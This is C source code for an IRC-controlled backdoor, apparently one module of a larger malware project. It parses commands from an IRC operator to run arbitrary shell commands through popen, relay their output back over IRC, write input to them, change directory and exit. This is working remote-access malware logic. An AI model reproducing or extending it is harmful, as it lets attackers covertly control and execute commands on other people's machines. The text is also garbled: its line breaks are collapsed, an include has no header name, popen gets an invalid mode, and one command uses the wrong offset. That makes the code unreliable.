#include #include "backdoor.h" #include "irc.h" static FILE *fp; void backdoor_offline(void) { sleep(60); } void send_info(IRCC_client *client, const char *buf) { char *nick = strdup(client->irc_nick); if (nick == NULL) return; IRCC_send(client, nick, buf); free(nick); } void parse_cmd(IRCC_client *client) { if (!strncmp(client->irc_msg, "!exit", 5)) { IRCC_close(client); exit(0); } else if (!strncmp(client->irc_msg, "!cd", 3)) chdir(client->irc_msg + 4); /* Shell */ else if (!strncmp(client->irc_msg, "!exec", 5)) { if (fp != NULL) pclose(fp); fp = popen(client->irc_msg + 5, "rw"); } else if (!strncmp(client->irc_msg, "!print", 6)) { if (fp == NULL) return; char buf[COMMON_BUF_SIZE + 1]; if (fgets(buf, sizeof(buf), fp) == NULL) { pclose(fp); fp = NULL; return; } send_info(client, buf); } else if (!strncmp(client->irc_msg, "!write", 6)) { if (fp == NULL) return; fputs(client->irc_msg + 5, fp); } else if (!strncmp(client->irc_msg, "!close", 6)) { if (fp == NULL) return; pclose(fp); fp = NULL; } }